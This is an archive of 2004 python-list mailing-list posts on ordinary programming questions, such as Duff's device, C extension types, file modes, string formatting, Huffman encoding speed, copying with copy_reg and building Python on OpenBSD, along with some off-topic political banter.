(Jaime Wyant) Date: Fri, 10 Sep 2004 10:24:56 -0500 Subject: Is there no switch function in Python In-Reply-To: References: <1Zb*VOguq@news.chiark.greenend.org.uk> <87llfip5ep.fsf@sinken.local.csis.hku.hk> Message-ID: Don't blame c++. This is a relic of 'C'. http://catb.org/~esr/jargon/html/D/Duffs-device.html On Fri, 10 Sep 2004 11:16:12 -0400, Roy Smith wrote: > Isaac To wrote: > > C switch is much more flexible than one would expect. It is not just > > a cheap replacement of a sequence of if-then-else. E.g., in an > > exercise of "The C++ Programming Language" of Bjarne Stroustrup, you > > can see the following example code: > > > > void send(int *to, int *from, int count) { > > int n = (count + 7) / 8; > > switch (count % 8) { > > case 0: do { *to++ = *from++; > > case 7: *to++ = *from++; > > case 6: *to++ = *from++; > > case 5: *to++ = *from++; > > case 4: *to++ = *from++; > > case 3: *to++ = *from++; > > case 2: *to++ = *from++; > > case 1: *to++ = *from++; > > } while (--n > 0); > > } > > } > > La-de-dah, Bjarne discovers loop unrolling. You don't need a switch > statement to unroll loops. > > Hold on a second. Cases 1 through 7 jump into the middle of the do > loop!? Pardon me while I barf. I didn't even know that was legal. > That's the kind of code that gives C++ a bad name. > > > -- > http://mail.python.org/mailman/listinfo/python-list > From mwh at python.net Wed Sep 15 12:30:24 2004 From: mwh at python.net (Michael Hudson) Date: Wed, 15 Sep 2004 16:30:24 GMT Subject: Subclassing in C References: <41470D3A.1040206@research.att.com> <41473FCF.5000706@research.att.com> Message-ID: Iker Arizmendi writes: > Michael Hudson wrote: > > OK, some questions. > > 1) You must be assuming 2.2 or later, right? tp_base doesn't make > > sense before then. > > Yup, 2.2 or later (although I'm currently using 2.3). > > > 2) Is this a third party base type? > > Not really, it's written by another fellow here. But > I have access to the source and am free to make small > changes. OK, then I suggest you start by updating this code to the 2.2 era... Have you read http://www.python.org/doc/ext/defining-new-types.html ? If not, you definitely want to. > > 3) If 2) is the third party assuming 2.2 or later? > > I think it was written before 2.2, but I've made some > changes that I think make it 2.2 compliant (eg, I added > the Py_TPFLAGS_BASETYPE flag, prepared the type with > PyType_Ready, and changed it to use tp_getattro instead > of tp_getattr. In the 2.2 era, tp_getattro should almost invariably be PyObject_GenericGetAttr. Fill out the tp_methods, tp_members, etc slots of the base type. > > If 2) but not 3), you might be in for some hacking (as you later came > > up with). You can't really subclass (cleanly) a type that's totally > > unprepared for it. > > So I guess I have (!2 && !3), but I think I've managed > to change that to (!2 && 3). So assuming I have two types, > both written in C, what's the clean way to do the > subclassing? In particular, it would be nice if the C API > did the search of my bases for me. That's what PyObject_GenericGetAttr does. > > Py_FindMethod() is SO 2001 :-) > > Just got started with Python and put on the first thing > I found. Didn't realize they were bell bottoms :) Fair enough :) > Is there a newer method? See above. Cheers, mwh -- ARTHUR: Ford, you're turning into a penguin, stop it. -- The Hitch-Hikers Guide to the Galaxy, Episode 2 From john at grulic.org.ar Tue Sep 7 14:29:25 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 7 Sep 2004 15:29:25 -0300 Subject: %a format Message-ID: <20040907182925.GA27643@grulic.org.ar> Is there any reason python's printf-style formatting is missing the (C99) '%a' specifier? I'm sorry if this has been asked and answered before; I can't find it on google ('%a' is a very awkward thing to look for): -- John Lenton (john at grulic.org.ar) -- Random fortune: Los cementerios est?n llenos de valientes. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From bokr at oz.net Mon Sep 27 18:11:13 2004 From: bokr at oz.net (Bengt Richter) Date: 27 Sep 2004 22:11:13 GMT Subject: Open Education in Python References: <10l959t466bgde8@corp.supernews.com> Message-ID: On Fri, 24 Sep 2004 14:43:29 -0700, Maboroshi wrote: >Hi I was interested in starting an online open education center focusing >on the Python language. This center would consist of beginning to >advanced computer science courses using the programming language Python >its primary goal would be to create a community of students and teachers >who actively discuss in newsgroups write articles give online lectures >and more. > There may be stuff to draw on at the intellectual goodie-store http://ocw.mit.edu and specifically http://ocw.mit.edu/OcwWeb/Electrical-Engineering-and-Computer-Science/index.htm though googling python site:ocw.mit.edu only got 12 hits. But there is plenty of CS ;-) >How it would work: It would work on a what you put into the community is >what you get out of it bases. No money would be collected > >This has not been entirely thought out as I am just putting the feelers >out and want to see what the python community thinks about it. > I have often thought a technical reading club could be a way to learn a lot (and sell some books by c.l.py authors ;-) IOW, I think there is a lot already written (and free on line in the case of ocw.mit.edu) by really sharp people that could provide starting discussion bases faster than new essays by volunteers. That's not to say everything has been said. Far from it. But the advantage of academic and quasi-academic stuff is some vetting and probably more consistent terminology, which leads to less misunderstandings about words. The downside of well-organized didactic material is of course that it makes cognitive frames that are sometimes hard to escape, to explore new territory (or even see it). Regards, Bengt Richter From rschroev_nospam_ml at fastmail.fm Fri Sep 24 18:06:12 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Fri, 24 Sep 2004 22:06:12 GMT Subject: file read, binary or text mode In-Reply-To: References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> Message-ID: Terry Reedy wrote: > "Askari" wrote in message > news:Xns956E4CDA892D7askariaddressNonVali at 207.35.177.135... > >>"Guyon Mor?e" wrote in >>news:41540121$0$3891$4d4ebb8e at news.nl.uu.net: >> >>"rb" and "r" on a text file is the same if your text file have ascii >>caractere (8bit) but it's not the same for Unicode caractere (16 bit). >>Bref, if you sure that your file is ONLY text, use "r", else, use always >>"rb". And "r" don't read the control caractere other that "\n" "\t" .. >>etc > > > Newbies, ignore this confusion. > > On Windows, text mode autoconverts \r\n to \n on input and viceverse on > output. I believe that that is all the difference. Period. It's the main difference, but not the only thing. From the MSDN documentation on fopen: "t Open in text (translated) mode. In this mode, CTRL+Z is interpreted as an end-of-file character on input. In files opened for reading/writing with "a+", fopen checks for a CTRL+Z at the end of the file and removes it, if possible. This is done because using fseek and ftell to move within a file that ends with a CTRL+Z, may cause fseek to behave improperly near the end of the file. Also, in text mode, carriage return?linefeed combinations are translated into single linefeeds on input, and linefeed characters are translated to carriage return?linefeed combinations on output. When a Unicode stream-I/O function operates in text mode (the default), the source or destination stream is assumed to be a sequence of multibyte characters. Therefore, the Unicode stream-input functions convert multibyte characters to wide characters (as if by a call to the mbtowc function). For the same reason, the Unicode stream-output functions convert wide characters to multibyte characters (as if by a call to the wctomb function)." So there's - the line endings translation - the issue of CTRL-Z as end of file that gets stripped (CTRL-Z is decimal 26 or hex 1a, consistent with Ralf's mail) - the Unicode issue, which I frankly don't understand -- "Codito ergo sum" Roel Schroeven From narshe at gmail.com Fri Sep 10 13:55:03 2004 From: narshe at gmail.com (Josh Close) Date: Fri, 10 Sep 2004 12:55:03 -0500 Subject: making windows apps In-Reply-To: References: Message-ID: <4a0cafe20409101055a8d4410@mail.gmail.com> Yes, you can download a windows installer for python and just double click to install it :P If you want to get your python code to run on a computer without the interpreter, you can make an .exe file from your code. There are several ways to do this, but I can't really direct you there since I haven't done it myself yet. -Josh On Fri, 10 Sep 2004 07:52:55 -0700, Zach Shutters wrote: > I am new to python and working my way through the van Rossum tutorial. I > am cursios though about if you can program windows with python? I know I > shouldn't worry about this right now but I am curious. If so, is there any > recommended tutorials on this. I know I can search google but i figured I > would see what some people who know the language well would recommend. > One last thing, in order for a program I write in python to run on > someones computer, they have to have the python interpreter installed? And > if so, wouldn't most people not have it installed since they wouldn't be > programming in it. I know this is probably an uber nube question, but that's > what I am right now. Hopefully no one will get pissed off and give some > smart ass comment about how stupid my question is (sorry but most of the > time thats what I get when I post in a newsgroup lol) > > -Zach > > -- > http://mail.python.org/mailman/listinfo/python-list > From bbelguise at FT Tue Sep 14 09:31:39 2004 From: bbelguise at FT (bbelguise at FT) Date: Tue, 14 Sep 2004 15:31:39 +0200 Subject: Variable passing between modules. References: Message-ID: >"Golawala, Moiz M (GE Infrastructure)" a ?crit dans le message news: >mailman.3094.1094735599.5135.python-list at python.org... >The example that I provided was very simplistic. I have a tones of methods in module 2 and the method >need to get executed and need the someVar value. >I was thinking like setting up some a value in some global VM list which can be accessed by all modules. It's not pretty and it's a shame but you can do this glob.py: class glob_var: def __init__(self,Initial_Value): self.val=Initial_Value var_glob=glob_var("Init") a.py: from glob import * def fonca(): global var_glob print "fonca -> ",var_glob.val,id(var_glob.val) b.py: from glob import var_glob import a def foncb(): print "foncb -> ",var_glob.val,id(var_glob.val) var_glob.val="glop" print var_glob.val,id(var_glob.val) foncb() a.fonca() and run b.py "funny isn't it ?" From bradtilley at usa.net Sun Sep 12 20:47:50 2004 From: bradtilley at usa.net (Brad Tilley) Date: Sun, 12 Sep 2004 20:47:50 -0400 Subject: read all available pages on a Website Message-ID: Is there a way to make urllib or urllib2 read all of the pages on a Web site? For example, say I wanted to read each page of www.python.org into separate strings (a string for each page). The problem is that I don't know how many pages are at www.python.org. How can I handle this? Thanks, Brad From __peter__ at web.de Mon Sep 6 07:49:49 2004 From: __peter__ at web.de (Peter Otten) Date: Mon, 06 Sep 2004 13:49:49 +0200 Subject: A couple of Python 'Features' References: <6f402501.0409040202.26cd7a30@posting.google.com> <6f402501.0409060210.2d69e2a1@posting.google.com> Message-ID: Michael Foord wrote: > Yep... I think the example failure I showed for FieldStorage was > actually under Python 2.3.4 - so I'm not convinced it's fixed. > > I'll raise two new bug reports but include references to the ones you > mention.... I think it _is_ fixed: Python 2.3.3 (#1, Jan 3 2004, 13:57:08) [GCC 3.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import cgi >>> for i in cgi.FieldStorage(): print i ... >>> (I really should update) I suggest that you try it out under 2.3.4 *before* you file the report. I don't think it would be polite to bother the developers with a report of a bug that may already be fixed. Peter From export at hope.cz Sat Sep 4 09:39:21 2004 From: export at hope.cz (Lad) Date: 4 Sep 2004 06:39:21 -0700 Subject: Poll option in Python? Message-ID: <81a41dd.0409040539.48e6c4b3@posting.google.com> I wonder if there is a code in Python that could provide a poll option on web pages. I know there is in PHP trade board(s) Lad From evenprimes at gmail.com Mon Sep 20 13:44:43 2004 From: evenprimes at gmail.com (Chris Cioffi) Date: Mon, 20 Sep 2004 13:44:43 -0400 Subject: Python as alternative to Visual Basic In-Reply-To: References: Message-ID: Take a look at wxPython for a start. It seems to be the best of the FOSS GUI toolkits available for Python. I've also heard very good things about pyQT, but I haven't had the chance to play with it. For the interacting with Excel and Access check out "Python Programming on Win32". It's a well written book and it will get you and and running in no time. I've done some, not a lot of, VB programming and I think that Python is far simpler to use since it's so clean. It goes back to the "fight the problem, not the language". Hope this helps... Chris On Mon, 20 Sep 2004 09:47:04 -0700, Aaron Ginn wrote: > I'm investigating the feasibility of using Python instead of Visual > Basic for a commercial software package that I'm planning on developing. > Now I'm absolutely a Python zealot. I use it for most of my software > development at work where I work in a Solaris environment. To me, > Python is the perfect language for most applications in a UNIX > environment where a compiled language is not required. However, I'm not > so sure about Windows. > > The software package I'm developing will make calls to Excel and Access > and requires a very usable GUI for users who are not particularly > computer literate. My first question is: what is the best choice for a > GUI toolkit on Windows? I've used Tkinter for UNIX to some degree of > success, but I'm not sure this is the best choice for Windows. Second, > if I choose to make the application cross-platform (Windows and Mac OS X > in particular), what would be the best choice for a cross-platform GUI > toolkit? I was thinking of looking at PyQt. Is there a better option? > > Basically, I'm trying to make a case for Python to the other developers > of this software package as I believe it offers numerous advantages over > VB in terms of speed of development, a quick learning curve, and > maintainability. Can anyone help me make that case? > > Thanks, > Aaron > -- > http://mail.python.org/mailman/listinfo/python-list > -- Get Firefox! From fuzzyman at gmail.com Mon Sep 6 06:10:41 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 6 Sep 2004 03:10:41 -0700 Subject: A couple of Python 'Features' References: <6f402501.0409040202.26cd7a30@posting.google.com> Message-ID: <6f402501.0409060210.2d69e2a1@posting.google.com> "Paul McGuire" wrote in message news:... > "Michael Foord" wrote in message > news:6f402501.0409040202.26cd7a30 at posting.google.com... > > I've come across a couple of 'features' in Python standard libraries - > > and I'm not sure if they're meant to be there... or if they're bugs... > > > > One in urllib2 and one in cgi. > > > > >>> from urllib2 import urlopen > > >>> a = urlopen('http://www.voidspace.org.uk') > > >>> i = a.info() > > >>> for entry in i: print entry > > Traceback (most recent call last): > > File "", line 1, in -toplevel- > > for entry in i: print entry > > File "D:\PYTHON23\lib\rfc822.py", line 390, in __getitem__ > > return self.dict[name.lower()] > > AttributeError: 'int' object has no attribute 'lower' > > > > and in cgi (a result that happens in live CGI as well as interactive > > sessions....) : > > > > >>> import cgi > > >>> a = cgi.FieldStorage() > > >>> for entry in a: print entry > > > > Traceback (most recent call last): > > File "", line 1, in ? > > for entry in a: print entry > > File "C:\PYTHON22\lib\cgi.py", line 550, in __getitem_ > > raise KeyError, > > keyKeyError: 0 > > >>> > > > > You can get round the cgi bug because : > > for entry in a.keys(): print entry > > works fine - but it's a bit annoying. > > > > (Admittedly my server has python 2.2, but the urllib2 bug occurs in > > Python 2.3.4 as well I think). > > > > Regards, > > > > > > Fuzzy > > > > http://www.voidspace.org.uk/atlantibots/pythonutils.html > > The urllib2 problem looks like a clone of one mentioned earlier in the email > module, which I looked into and reported as bug 1017329. You could add your > example to that, or open a new bug report. But the two should be linked > somehow, as they have the same failure mode, and very likely the same > resolution. > > Looking briefly at the cgi module also shows a similar implementation gap, > but I see that FieldStorage implements __iter__, which I thought would be > used in "for entry in a" type iteration, and that failing the existence of > __iter__, then __len__ would be tried with successive calls to __getitem__ > from 0 to len-1. What *is* the order of resolution for iterating over a > sequence? > > (1015249 was also recently submitted, to address problems with > FieldStorage's __len__ function, should also be linked.) > > -- Paul Yep... I think the example failure I showed for FieldStorage was actually under Python 2.3.4 - so I'm not convinced it's fixed. I'll raise two new bug reports but include references to the ones you mention.... Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From peacock at simconv.com Fri Sep 10 15:41:39 2004 From: peacock at simconv.com (Jack Peacock) Date: Fri, 10 Sep 2004 12:41:39 -0700 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> Message-ID: "Coby Beck" wrote in message news:m1m0d.88323$S55.10260 at clgrps12... > Do you really think the Bush administration cares > about international agreements? > Governments all over the world tremble in fear of a strongly worded UN resolution. No one would dare risk the consequences of a second, or third, or fourth, or 37th follow on resolution... Jack peacock From gumuz at NO_looze_SPAM.net Wed Sep 22 10:06:04 2004 From: gumuz at NO_looze_SPAM.net (Guyon Morée) Date: Wed, 22 Sep 2004 16:06:04 +0200 Subject: Python speed-up Message-ID: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> Hi all, I am working on a Huffman encoding exercise, but it is kinda slow. This is not a big problem, I do this to educate myself :) So I started profiling the code and the slowdown was actually taking place at places where I didn't expect it. after I have created a lookup-table-dictionary with encodings like {'d':'0110', 'e':'01' etc} to encode the original text like this: for c in original_text: encoded_text += table[c] I can appreciate the length of the text is big, but this isn't a problem at character frequency counting for eaxample. Why is this slow? the second place the slowdown occurs is when I ty to chop the encoded string of 0's and 1's in pieces of eigth like this: chr_list = [] # resulting list while 1: chr_list.append(encoded_text[:8]) # take 8 bits from string and put them in the list encoded_text = encoded_text[8:] # truncate the string if len(encoded_text) < 8: # end of string reached chr_list.append(encoded_text) break I hope someone can tell me why these are slow. regards, Guyon From christopher at baus.net Mon Sep 6 23:34:59 2004 From: christopher at baus.net (christopher at baus.net) Date: Mon, 6 Sep 2004 20:34:59 -0700 (PDT) Subject: [q] chunked encoding in httplib In-Reply-To: <1e015c2a.0409061913.38204c8a@posting.google.com> References: <1e015c2a.0409061913.38204c8a@posting.google.com> Message-ID: <39789.127.0.0.1.1094528099.squirrel@127.0.0.1> >> object. I'm currently considering not supporting trailers (ie assuming >> they are always empty), as I don't know of any real world example where >> they are used. > > Try to do POST requests to CGIs under IIS. I think you will get a > real worl example soon. In the request or response? I assume you mean the response, but what information is in the trailer, and how is it used? From benji at benjiyork.com Mon Sep 27 00:41:13 2004 From: benji at benjiyork.com (Benji York) Date: 26 Sep 2004 21:41:13 -0700 Subject: Python and Sybase References: <2rivotF1aq7gtU1@uni-berlin.de> Message-ID: Moof wrote in message news:<2rivotF1aq7gtU1 at uni-berlin.de>... > > While we're here, is there a free module for accessing SQLServer from > > Python? Last I checked this Sybase driver was the only option. > Also from unix someone mentioned a module based on ODBTP, which hasn't yet > surfaced out in the wild. Consider it surfaced. It's still alpha, and I'm improving the packaging, but it's not hard to install: http://benjiyork.com/odbtp.html. I've been using it to access SQL Server, and other databases that have Windows-only ODBC drivers from Linux. So far it works wonderfully. -- Benji York http://benjiyork.com From lbates at swamisoft.com Wed Sep 22 14:10:00 2004 From: lbates at swamisoft.com (Larry Bates) Date: Wed, 22 Sep 2004 13:10:00 -0500 Subject: An attempt to use a python-based mini declarative language for formdefinition References: Message-ID: You may can write your own __setattr__ method. That way you can keep track of the order of the fields yourself. class UserForm(Form): def __init__(self): self.fields=[] self.next_index=0 # Index pointer for next method self.nickname = TextBox(length=15, default="")) self.password = TextBox(length=10, default="", password=True)) self.name = TextBox(length=40, default="") return def __setattr__(self, fieldname, object): self.fields.append(object) self.__dict__[fieldname]=object return def __iter__(self): return self def next(self): # # Try to get the next route # try: FIELD=self.fields[self.next_index] except: self.next_index=0 raise StopIteration # # Increment the index pointer for the next call # self.next_index+=1 return FIELD self.fields list will contain the fields in the order they were defined. self.__dict__ contains them in dictionary that __getattr__ will reference for indexed lookup. I added __iter__ and next methods so you can easily loop over all the fields. Not tested and just one of many methods. Larry Bates "Carlos Ribeiro" wrote in message news:mailman.3731.1095874585.5135.python-list at python.org... > I'm doing some experiments with mini declarative languages (as > explained by David Mertz in > http://www-106.ibm.com/developerworks/library/l-cpdec.html) in Python, > with the intention to use it as the mechanism to define data entry > forms. My final goal is to have a simple approach to automatic > generation of visual interfaces. The complete framework is rather big, > so let's us focus at this specific problem. > > -- I would like to describe my data entry forms with plain Python > code. I don't want to use XML, dicts or other data-driven solution; > not because I don't like it, not because I don't know about it, only > because I want to try a different approach. > > -- This is a simple code snippet of the intended form declaration: > > class UserForm(Form): > nickname = TextBox(length=15, default="") > password = TextBox(length=10, default="", password=True) > name = TextBox(length=40, default="") > > It's actually based to some extent on Ian Bicking's sqlobject library, > that uses a similar approach to build entity definitions. But there's > a catch: the class constructor receives a dict, and has no way to tell > the original ordering of the attributes in the original class. The > field names are passed in an arbitrary ordering, due to the use of the > dict mapping. > > -- I've tried using metaclasses or other similar magic; I've read the > tutorials, tried some code, and read sqlobject own implementation. > This is not a problem for sqlobject, because the order of the columns > in the database is totally isolated from the object representation. > But in my case, it is a problem, because I need the fields to be in > the correct order in the display. > > My question is, there is any way to retrieve the class attributes in > the order they were declared? I could not find any; __setattr__ won't > work because the dict is constructed using the native dict type before > __new__ has a chance at it. Is there anything that I'm overlooking? > > > -- > Carlos Ribeiro > Consultoria em Projetos > blog: http://rascunhosrotos.blogspot.com > blog: http://pythonnotes.blogspot.com > mail: carribeiro at gmail.com > mail: carribeiro at yahoo.com From donn at u.washington.edu Thu Sep 2 14:27:41 2004 From: donn at u.washington.edu (Donn Cave) Date: Thu, 02 Sep 2004 11:27:41 -0700 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> Message-ID: In article , Gandalf wrote: > > users = ['admin', 'user1', 'user2'] > > address = ('www.python.org', 80) > > > > index and count only make sense when the collection is homogeneous. > > Therefore they are not defined for tuple. > > Why? > > address = ['www.python.org',80] > > A list can hold any kind of objects. I think that the 'index' method for > tuples would be a good idea. Yes, lists and tuples can hold the same kinds of objects. I don't care whether I manage to convince you that the index method is not needed, but here's my take on an aspect of the the homogeneity issue, a somewhat obscure point that isn't explained in the FAQ. ( http://www.python.org/doc/faq/general.html#why-are-there-separate-tuple-a nd-list-data-types ) Lists are not naturally homogeneous because each item is of the same type as the next. That would be sort of absurd in a language like Python, where that kind of typing isn't done. Rather they are homogeneous because if you say that that an object is "list of (something)", typically a slice of that list will still be a valid "list of (something)" - a list of hosts, a list of dictionary keys, etc. In this less concrete sense of type, the list itself has a type that applies not only to the whole list but to any slice. The list object has all kinds of support for iterative traversal, deletion, extension, etc., because these are naturally useful for this kind of sequence. On the other hand, we normally use tuples for data that is meaningful only when it's intact. The (key, value) pair that comes back from dict.items(), for example. Each value may very well be a string, but the sequence is not homogeneous in the sense we're talking about, and index() is not useful. Donn Cave, donn at u.washington.edu From ajsiegel at optonline.com Tue Sep 7 22:14:24 2004 From: ajsiegel at optonline.com (Arthur) Date: Wed, 08 Sep 2004 02:14:24 GMT Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <4139a87a$0$30204$9b622d9e@news.freenet.de> <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> <4139E730.4060203@v.loewis.de> <213df9a1.0409070553.662fc885@posting.google.com> <413e1a13$0$151$9b622d9e@news.freenet.de> Message-ID: <28qsj05g00osjr9e47bj3vrunnnafh0rfh@4ax.com> On Tue, 07 Sep 2004 22:29:15 +0200, "Martin v. L?wis" wrote: >Arthur wrote: >> """The copy module does not use the copy_reg registration module.""" >> >> This is actually pretty esoteric stuff for someone who has not delved >> into these mysteries before, so I am a bit lost. > >It appears that this documentation is incorrect. I knew that that was one of the possibilities. On the other hand I wouldn't have bet much on it. An equally live possiblity was that I was misunderstanding correct documentation - considering this is all a bit foggy to me at the moment. Thanks for making that much clear. > Just look at the >source of copy.py and see for yourself: > >from copy_reg import dispatch_table >... > >def copy(x): > ... > reductor = dispatch_table.get(cls) > ... > >> Is it that copy_reg comes into play in defining a custom method for >> copying, that is called as a regular method, and not via the copy >> module? > >It is a customization of the copy module. > >> Does anyone have a reference for copy_reg used in the specific context >> of copying, rather than pickling? > >Sure: Assume you want to copy file objects, and that this should create >a file object for the same file name and mode, but starting from the >beginning. You do > >def copy_file(f): > return file, (f.name, f.mode) >copy_reg.pickle(file, copy_file, file) > >Then you can do > > >>> f=open("/etc/passwd","r") > >>> f > > >>> f.readline() >'root:x:0:0:root:/root:/bin/bash\n' > >>> g=copy.copy(f) > >>> g > > >>> g.readline() >'root:x:0:0:root:/root:/bin/bash\n' And thanks for that. Which among other things seems to tell me that I can in fact follow the documentation, and what else I can find, on copy_reg and pickling pretty much verbatim, when focusing on copying as my end result. Wasn't sure, among other things, whether the same copy_reg.pickle(xx) syntax applied to copying application. Aparently yes. Art From dieter.buys at gmail.com Mon Sep 6 03:51:36 2004 From: dieter.buys at gmail.com (Dieter Buys) Date: 6 Sep 2004 00:51:36 -0700 Subject: Fastest way to loop through each digit in a number? References: Message-ID: <468da24b.0409052351.41e24243@posting.google.com> n2 = n while n2 > 0: d = n2 % 10 n2 /= 10 foo(d) From jepler at unpythonic.net Fri Sep 10 12:41:23 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Fri, 10 Sep 2004 11:41:23 -0500 Subject: string formatting with mapping & '*'... is this a bug? In-Reply-To: <20040910120140.795bcf2b@gypsy.pfortin.com> References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910120140.795bcf2b@gypsy.pfortin.com> Message-ID: <20040910164123.GD20186@unpythonic.net> > On Fri, 10 Sep 2004 10:42:08 -0500 Jeff wrote: > > > In the case of Python, this would become > > print "%(width)*(num)d" % {'width': width, 'num': num} > On Fri, Sep 10, 2004 at 12:01:40PM -0400, Pierre Fortin wrote: > If this did change, I'd prefer: > print "%(num)*(width)d" % {'width': width, 'num': num} > ^^^ ^^^^^ > in keeping with "in this order" (PyEssenRef 2nd ed. - P.47) I think I got my Python example wrong. Either way, I think it should match the SuS printf extension behavior, but with dict keys instead of numeric indices. Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From espen at *do-not-spam-me*.vestre.net Thu Sep 2 16:30:42 2004 From: espen at *do-not-spam-me*.vestre.net (Espen Vestre) Date: Thu, 02 Sep 2004 20:30:42 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <1094141001.125507@teapot.planet.gong> <874qmgifgy.fsf@thalassa.informatimago.com> Message-ID: Pascal Bourguignon writes: > (The TI Explorer ran on a MacIIfx). ...on a nubus card (just like the MacIvory (Symbolics)), if I remember right. -- (espen) From mwh at python.net Wed Sep 29 08:05:01 2004 From: mwh at python.net (Michael Hudson) Date: Wed, 29 Sep 2004 12:05:01 GMT Subject: extending python References: Message-ID: Ajay writes: > hi! > > does the init function has to have a PyMODINIT_FUNC > return type. Well, er, it has to have certain things declared about it in some circumstances and PyMODINIT_FUNC is probably the easiest way to acheive this. Woolly enough for you? :-) > i am building PyOpenSSL for a pocket pc using embedded visual c++ and i am > doing so by putting together all the C files together for OpenSSL/crypto > and building crypto.pyd > now crypto.c has void initcrypto > > Build works fine. But when i import it, i get an error saying dynamic load > module does not define an init function (initcrypto) > the same build using VC++ 6.0 works fine on the PC and i can even import > it. > > any ideas? Well, I guess your module init function *is* declared a PyMODINIT_FUNC? Can you find out what it is expanding to? I guess it's not right? I think it needs to be __declspec(export) or something like that (but I'm not a Windows user; don't take my word for it). Cheers, mwh -- We've had a lot of problems going from glibc 2.0 to glibc 2.1. People claim binary compatibility. Except for functions they don't like. -- Peter Van Eynde, comp.lang.lisp From albalmer at att.net Tue Sep 14 15:05:39 2004 From: albalmer at att.net (Alan Balmer) Date: Tue, 14 Sep 2004 12:05:39 -0700 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> Message-ID: On 14 Sep 2004 10:15:27 -0700, Patrick Scheible wrote: >Chuck Dillon writes: > >> Coby Beck wrote: >> >> >> >> >>And, of course, entertaining the possibility that his agenda is just >> >>what he says it is, is completely out of the question. >> > Not out of the question, be obviously untrue. >> >> Again, I'll point out that it is naive to put this entirely on the >> administration. We're in Iraq because we effectively declared >> war. The dance with the U.N. went on for some 3 months. It was clear >> where we were headed. Our congress, including Kerry and all of the > ^^^ >Not all. I'm happy to say my representative and one of my senators >voted against the resolution authorizing the war. > >Congress doesn't have its own intelligence service. If the >administration claims to have clear evidence that a country has WMD >there's only so much that a minority party in congress can do to find >out if the administration is lying or engaged in wishful thinking. http://intelligence.house.gov/ http://intelligence.senate.gov/ -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From noah at noah.org Wed Sep 15 15:01:45 2004 From: noah at noah.org (Noah) Date: 15 Sep 2004 12:01:45 -0700 Subject: How do I build Python 2.3.4 on OpenBSD 3.5? Message-ID: I'm getting configure warnings and make errors when I try to build Python 2.3.4 under OpenBSD 3.5. I don't see anything in the README under "Platform specific note" for OpenBSD. I tried opening the Python tar file using gtar and I tried using gmake just to make sure there wasn't anything weird going on there (I know that using BSD tar when building Zope used to cause problems, so I first thought I might be having a similar problem. I'm using gcc version 2.95.3 20010125 (prerelease, propolice). That's the default that comes with OpenBSD. I didn't change anything. Has anyone else had similar problems? I'd appreciate any advice. Hopefully this is a simple mistake... Here is a clip of the configure warnings that I get: configure: WARNING: ncurses.h: present but cannot be compiled configure: WARNING: ncurses.h: check for missing prerequisite headers? configure: WARNING: ncurses.h: proceeding with the preprocessor's result configure: WARNING: ## ------------------------------------ ## configure: WARNING: ## Report this to bug-autoconf at gnu.org. ## configure: WARNING: ## ------------------------------------ ## configure: WARNING: sys/audioio.h: present but cannot be compiled configure: WARNING: sys/audioio.h: check for missing prerequisite headers? configure: WARNING: sys/audioio.h: proceeding with the preprocessor's result configure: WARNING: ## ------------------------------------ ## configure: WARNING: ## Report this to bug-autoconf at gnu.org. ## configure: WARNING: ## ------------------------------------ ## configure: WARNING: sys/lock.h: present but cannot be compiled configure: WARNING: sys/lock.h: check for missing prerequisite headers? configure: WARNING: sys/lock.h: proceeding with the preprocessor's result configure: WARNING: ## ------------------------------------ ## configure: WARNING: ## Report this to bug-autoconf at gnu.org. ## configure: WARNING: ## ------------------------------------ ## configure: WARNING: sys/select.h: present but cannot be compiled configure: WARNING: sys/select.h: check for missing prerequisite headers? configure: WARNING: sys/select.h: proceeding with the preprocessor's result configure: WARNING: ## ------------------------------------ ## configure: WARNING: ## Report this to bug-autoconf at gnu.org. ## configure: WARNING: ## ------------------------------------ ## Here is what I see when I try make: bash-2.05b# gmake gcc -pthread -c -fno-strict-aliasing -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -I. -I./Include -DPy_BUILD_CORE -o Modules/python.o Modules/python.c In file included from /usr/include/sys/select.h:38, from Include/pyport.h:118, from Include/Python.h:48, from Modules/python.c:3: /usr/include/sys/event.h:53: syntax error before `u_int' /usr/include/sys/event.h:55: syntax error before `u_short' gmake: *** [Modules/python.o] Error 1 Here is a clip from the config.log file showing the error for select: 